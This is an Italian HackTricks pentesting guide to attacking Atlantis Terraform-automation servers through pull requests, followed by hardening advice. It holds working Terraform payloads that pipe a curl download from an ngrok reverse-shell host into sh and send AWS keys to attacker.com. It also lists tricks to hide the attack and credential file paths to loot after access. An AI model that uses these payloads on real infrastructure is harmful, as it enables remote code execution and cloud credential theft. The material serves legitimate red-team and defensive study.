Atlantis Security

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Se vuoi vedere la tua azienda pubblicizzata su HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
Ottieni il merchandising ufficiale di PEASS & HackTricks
Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
Unisciti al 💬 gruppo Discord o al gruppo telegram o seguimi su Twitter 🐦 @hacktricks_live.
Condividi i tuoi trucchi di hacking inviando PR a HackTricks e HackTricks Cloud repos di github.

Informazioni di Base

Atlantis ti aiuta fondamentalmente ad eseguire terraform da Pull Requests dal tuo server git.

Laboratorio Locale

Vai alla pagina dei rilasci di atlantis in https://github.com/runatlantis/atlantis/releases e scarica quella che fa al caso tuo.
Crea un token personale (con accesso al repository) del tuo utente github
Esegui ./atlantis testdrive e creerà un repo demo che puoi usare per parlare con atlantis
Puoi accedere alla pagina web in 127.0.0.1:4141

Accesso ad Atlantis

Credenziali del Server Git

Atlantis supporta diversi host git come Github, Gitlab, Bitbucket e Azure DevOps. Tuttavia, per accedere ai repository su queste piattaforme e eseguire azioni, è necessario concedere loro alcuni accessi privilegiati (almeno permessi di scrittura). La documentazione incoraggia a creare un utente specificamente per Atlantis su queste piattaforme, ma alcune persone potrebbero utilizzare account personali.

In ogni caso, dal punto di vista di un attaccante, l'account di Atlantis sarà molto interessante da compromettere.

Webhook

Atlantis utilizza facoltativamente Segreti del Webhook per convalidare che i webhook che riceve dal tuo host Git siano legittimi.

Un modo per confermare ciò sarebbe consentire le richieste solo dai IP del tuo host Git, ma un modo più semplice è utilizzare un Segreto del Webhook.

Nota che a meno che tu non stia utilizzando un server github o bitbucket privato, dovrai esporre i punti finali del webhook su Internet.

Atlantis sta per esporre i webhooks in modo che il server git possa inviargli informazioni. Dal punto di vista di un attaccante sarebbe interessante sapere se è possibile inviargli messaggi.

Credenziali del Provider

Dalla documentazione:

Atlantis esegue Terraform semplicemente eseguendo i comandi terraform plan e apply sul server dove è ospitato Atlantis. Proprio come quando esegui Terraform in locale, Atlantis ha bisogno di credenziali per il tuo provider specifico.

Spetta a te come fornire le credenziali per il tuo provider specifico ad Atlantis:

Il Chart di Atlantis Helm e il Modulo AWS Fargate hanno i loro meccanismi per le credenziali del provider. Leggi la loro documentazione.
Se stai eseguendo Atlantis in un cloud, molti cloud hanno modi per dare accesso all'API cloud alle applicazioni in esecuzione su di essi, ad esempio:
Ruoli EC2 di AWS (Cerca "Ruolo EC2")
Account di Servizio delle Istanzze GCE
Molti utenti impostano variabili d'ambiente, ad es. AWS_ACCESS_KEY, dove Atlantis è in esecuzione.
Altri creano i file di configurazione necessari, ad es. ~/.aws/credentials, dove Atlantis è in esecuzione.
Usa il Provider Vault di HashiCorp per ottenere le credenziali del provider.

Il contenitore dove Atlantis è in esecuzione con molta probabilità contiene credenziali privilegiate per i provider (AWS, GCP, Github...) che Atlantis sta gestendo tramite Terraform.

Pagina Web

Per impostazione predefinita Atlantis eseguirà una pagina web nella porta 4141 in localhost. Questa pagina ti consente semplicemente di abilitare/disabilitare l'applicazione di atlantis e controllare lo stato del piano dei repository e sbloccarli (non consente di modificare le cose, quindi non è così utile).

Probabilmente non la troverai esposta su Internet, ma sembra che per impostazione predefinita non siano necessarie credenziali per accedervi (e se lo sono atlantis:atlantis sono le credenziali predefinite).

Configurazione del Server

La configurazione del server atlantis può essere specificata tramite flag della riga di comando, variabili d'ambiente, un file di configurazione o una combinazione dei tre.

Puoi trovare qui l'elenco dei flag supportati dal server Atlantis
Puoi trovare qui come trasformare un'opzione di configurazione in una variabile d'ambiente

I valori sono scelti in questo ordine:

Flag
Variabili d'ambiente
File di configurazione

Nota che nella configurazione potresti trovare valori interessanti come token e password.

Configurazione dei Repository

Alcune configurazioni influenzano come i repository sono gestiti. Tuttavia, è possibile che ogni repository richieda impostazioni diverse, quindi ci sono modi per specificare ciascun repository. Questo è l'ordine di priorità:

File /atlantis.yml. Questo file può essere utilizzato per specificare come atlantis dovrebbe trattare il repository. Tuttavia, per impostazione predefinita alcune chiavi non possono essere specificate qui senza alcuni flag che lo consentano.
Probabilmente richiesto di essere consentito da flag come allowed_overrides o allow_custom_workflows
Configurazione Lato Server: Puoi passarla con il flag --repo-config ed è un yaml che configura nuove impostazioni per ciascun repository (supporta regex)
Valori predefiniti

Protezioni PR

Atlantis consente di indicare se si desidera che il PR venga approvato da qualcun altro (anche se non è impostato nella protezione del branch) e/o sia mergiabile (protezioni del branch superate) prima di eseguire l'apply. Da un punto di vista della sicurezza, è consigliabile impostare entrambe le opzioni.

Nel caso in cui allowed_overrides sia True, queste impostazioni possono essere sovrascritte su ciascun progetto tramite il file /atlantis.yml.

Script

La configurazione del repository può specificare script da eseguire prima (pre workflow hooks) e dopo (post workflow hooks) l'esecuzione di un workflow.

Non esiste alcuna opzione per consentire di specificare questi script nel file /atlantis.yml del repository.

Workflow

Nella configurazione del repository (configurazione lato server) è possibile specificare un nuovo flusso di lavoro predefinito, o creare nuovi flussi di lavoro personalizzati. È inoltre possibile specificare quali repository possono accedere a quelli nuovi generati. Successivamente, è possibile consentire al file atlantis.yaml di ciascun repository di specificare il flusso di lavoro da utilizzare.

Se il flag configurazione lato server allow_custom_workflows è impostato su True, i flussi di lavoro possono essere specificati nel file atlantis.yaml di ciascun repository. Potrebbe essere necessario che allowed_overrides specifichi anche workflow per sovrascrivere il flusso di lavoro che verrà utilizzato. Questo darà fondamentalmente RCE nel server Atlantis a qualsiasi utente che può accedere a quel repository.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Controllo delle policy Conftest

Atlantis supporta l'esecuzione delle policy conftest lato server contro l'output del piano. I casi d'uso comuni per l'utilizzo di questo passaggio includono:

Negare l'uso di un elenco di moduli
Assegnare attributi di una risorsa al momento della creazione
Catturare eliminazioni non intenzionali di risorse
Prevenire rischi di sicurezza (ad esempio, esporre porte sicure al pubblico)

Puoi verificare come configurarlo nella documentazione.

Comandi di Atlantis

Nella documentazione puoi trovare le opzioni che puoi utilizzare per eseguire Atlantis:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Attacchi

Se durante l'exploitation trovi questo errore: Error: Error acquiring the state lock

Puoi risolverlo eseguendo:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Pianificazione RCE di Atlantis - Modifica della configurazione in una nuova PR

Se hai accesso in scrittura su un repository, sarai in grado di creare un nuovo branch su di esso e generare una PR. Se puoi eseguire atlantis plan (o forse viene eseguito automaticamente) sarai in grado di eseguire RCE all'interno del server Atlantis.

Puoi farlo facendo caricare ad Atlantis una fonte di dati esterna. Basta inserire un payload come il seguente nel file main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Attacco più stealth

Puoi eseguire questo attacco in modo ancora più stealth, seguendo questi suggerimenti:

Invece di aggiungere direttamente la shell reversa al file terraform, puoi caricare una risorsa esterna che contiene la shell reversa:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Puoi trovare il codice rev shell in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

Nella risorsa esterna, utilizza la funzionalità ref per nascondere il codice rev shell di terraform in un branch all'interno del repository, qualcosa del genere: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
Invece di creare una PR su master per attivare Atlantis, crea 2 branch (test1 e test2) e crea una PR da uno all'altro. Quando hai completato l'attacco, basta rimuovere la PR e i branch.

Atlantis plan Secrets Dump

Puoi scaricare i segreti utilizzati da terraform eseguendo atlantis plan (terraform plan) inserendo qualcosa del genere nel file terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis applica RCE - Modifica della configurazione in una nuova PR

Se hai accesso in scrittura su un repository, sarai in grado di creare un nuovo branch su di esso e generare una PR. Se puoi eseguire atlantis apply sarai in grado di eseguire RCE all'interno del server Atlantis.

Tuttavia, di solito dovrai aggirare alcune protezioni:

Fusibile: Se questa protezione è impostata in Atlantis, puoi eseguire atlantis apply solo se la PR è fusibile (il che significa che la protezione del branch deve essere aggirata).
Controlla i bypass delle protezioni del branch potenziali
Approvato: Se questa protezione è impostata in Atlantis, un altro utente deve approvare la PR prima che tu possa eseguire atlantis apply
Per impostazione predefinita, puoi abusare del token Gitbot per aggirare questa protezione

Eseguendo terraform apply su un file Terraform malintenzionato con local-exec. Devi solo assicurarti che un payload come quelli seguenti finisca nel file main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Segui i suggerimenti della tecnica precedente per eseguire questo attacco in modo più stealth.

Iniezione di Parametri Terraform

Quando si esegue atlantis plan o atlantis apply terraform viene eseguito sotto-sotto, è possibile passare comandi a terraform da atlantis commentando qualcosa del genere:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Qualcosa che puoi passare sono le variabili di ambiente che potrebbero essere utili per aggirare alcune protezioni. Controlla le variabili di ambiente di Terraform in https://www.terraform.io/cli/config/environment-variables

Flusso di Lavoro Personalizzato

Eseguire comandi di build personalizzati maligni specificati in un file atlantis.yaml. Atlantis utilizza il file atlantis.yaml dal ramo della richiesta di pull, non da master. Questa possibilità è stata menzionata in una sezione precedente:

Se il flag di configurazione lato server allow_custom_workflows è impostato su True, i flussi di lavoro possono essere specificati nel file atlantis.yaml di ciascun repository. Potrebbe anche essere necessario che allowed_overrides specifichi anche workflow per sovrascrivere il flusso di lavoro che verrà utilizzato.

Questo darà fondamentalmente RCE nel server Atlantis a qualsiasi utente che può accedere a quel repository.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Ignorare le protezioni del piano/apply

Se il flag configurazione lato server allowed_overrides ha apply_requirements configurato, è possibile per un repository modificare le protezioni del piano/apply per ignorarle.

repos:
- id: /.*/
apply_requirements: []

Dirottamento PR

Se qualcuno invia commenti atlantis plan/apply sui tuoi pull request validi, farà eseguire terraform quando non lo desideri.

Inoltre, se non hai configurato nella protezione del branch di chiedere di riesaminare ogni PR quando viene effettuato un nuovo commit, qualcuno potrebbe scrivere configurazioni dannose (controlla scenari precedenti) nel file di configurazione di terraform, eseguire atlantis plan/apply e ottenere RCE.

Questa è l impostazione nelle protezioni del branch di Github:

Segreto del Webhook

Se riesci a rubare il segreto del webhook utilizzato o se non viene utilizzato alcun segreto del webhook, potresti chiamare il webhook di Atlantis e invocare direttamente i comandi di atlantis.

Bitbucket

Bitbucket Cloud non supporta i segreti del webhook. Ciò potrebbe consentire agli attaccanti di falsificare le richieste da Bitbucket. Assicurati di consentire solo gli IP di Bitbucket.

Ciò significa che un attaccante potrebbe inviare richieste false ad Atlantis che sembrano provenire da Bitbucket.
Se stai specificando --repo-allowlist allora potrebbero solo falsificare richieste relative a quei repository, quindi il danno maggiore che potrebbero fare sarebbe pianificare/applicare sui tuoi stessi repository.
Per prevenire ciò, consenti gli indirizzi IP di Bitbucket (vedi Indirizzi IPv4 in uscita).

Post-Esploitation

Se sei riuscito ad accedere al server o almeno hai ottenuto un LFI ci sono alcune cose interessanti che dovresti provare a leggere:

/home/atlantis/.git-credentials Contiene credenziali di accesso vcs
/atlantis-data/atlantis.db Contiene credenziali di accesso vcs con più informazioni
/atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate File di stato di Terraform
Esempio: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
/proc/1/environ Variabili di ambiente
/proc/[2-20]/cmdline Linea di comando di atlantis server (potrebbe contenere dati sensibili)

Mitigazioni

Non Utilizzare Su Repository Pubblici

Poiché chiunque può commentare su pull request pubblici, anche con tutte le mitigazioni di sicurezza disponibili, è comunque pericoloso eseguire Atlantis su repository pubblici senza una corretta configurazione delle impostazioni di sicurezza.

Non Utilizzare `--allow-fork-prs`

Se stai eseguendo su un repository pubblico (cosa non consigliata, vedi sopra) non dovresti impostare --allow-fork-prs (impostato su false per impostazione predefinita) perché chiunque può aprire una pull request dal proprio fork al tuo repository.

`--repo-allowlist`

Atlantis richiede di specificare un elenco di repository da cui accetterà i webhook tramite il flag --repo-allowlist. Ad esempio:

Repository specifici: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
Tutto l'organizzazione: --repo-allowlist=github.com/runatlantis/*
Ogni repository nella tua installazione di GitHub Enterprise: --repo-allowlist=github.yourcompany.com/*
Tutti i repository: --repo-allowlist=*. Utile quando sei in una rete protetta ma pericoloso senza impostare anche un segreto del webhook.

Questo flag garantisce che la tua installazione di Atlantis non venga utilizzata con repository che non controlli. Consulta atlantis server --help per ulteriori dettagli.

Proteggere la Pianificazione di Terraform

Se gli attaccanti che inviano pull request con codice Terraform dannoso sono nel tuo modello di minaccia, devi essere consapevole che le approvazioni di terraform apply non sono sufficienti. È possibile eseguire codice dannoso in una terraform plan utilizzando il data source external o specificando un provider dannoso. Questo codice potrebbe quindi esfiltrare le tue credenziali.

Per prevenire ciò, potresti:

Integrare i provider nell'immagine di Atlantis o nell'host e negare l'uscita in produzione.
Implementare il protocollo del registro dei provider internamente e negare l'uscita pubblica, in modo da controllare chi ha accesso in scrittura al registro.
Modificare il configurazione del repository lato server's plan per convalidare l'uso di provider o data source non consentiti o PR da utenti non consentiti. Potresti anche aggiungere una convalida aggiuntiva in questo punto, ad esempio richiedendo un "ok" sulla PR prima di consentire al plan di continuare. Conftest potrebbe essere utile in questo caso.

Segreti del Webhook

Atlantis dovrebbe essere eseguito con i segreti del Webhook impostati tramite le variabili d'ambiente $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Anche con il flag --repo-allowlist impostato, senza un segreto del webhook, gli attaccanti potrebbero inviare richieste ad Atlantis fingendo di provenire da un repository che è nella lista consentita. I segreti del webhook garantiscono che le richieste del webhook provengano effettivamente dal tuo fornitore VCS (GitHub o GitLab).

Se stai utilizzando Azure DevOps, anziché i segreti del webhook aggiungi un nome utente e una password di base.

Autenticazione di Base di Azure DevOps

Azure DevOps supporta l'invio di un'intestazione di autenticazione di base in tutti gli eventi del webhook. Ciò richiede l'utilizzo di un URL HTTPS per la posizione del tuo webhook.

SSL/HTTPS

Se stai utilizzando i segreti del webhook ma il tuo traffico è su HTTP, i segreti del webhook potrebbero essere rubati. Abilita SSL/HTTPS utilizzando i flag --ssl-cert-file e --ssl-key-file.

Abilita l'Autenticazione sul Server Web di Atlantis

È molto consigliabile abilitare l'autenticazione nel servizio web. Abilita BasicAuth utilizzando --web-basic-auth=true e configura un nome utente e una password utilizzando i flag --web-username=yourUsername e --web-password=yourPassword.

Puoi anche passare queste come variabili d'ambiente ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername e ATLANTIS_WEB_PASSWORD=yourPassword.

Riferimenti

Impara l'hacking AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!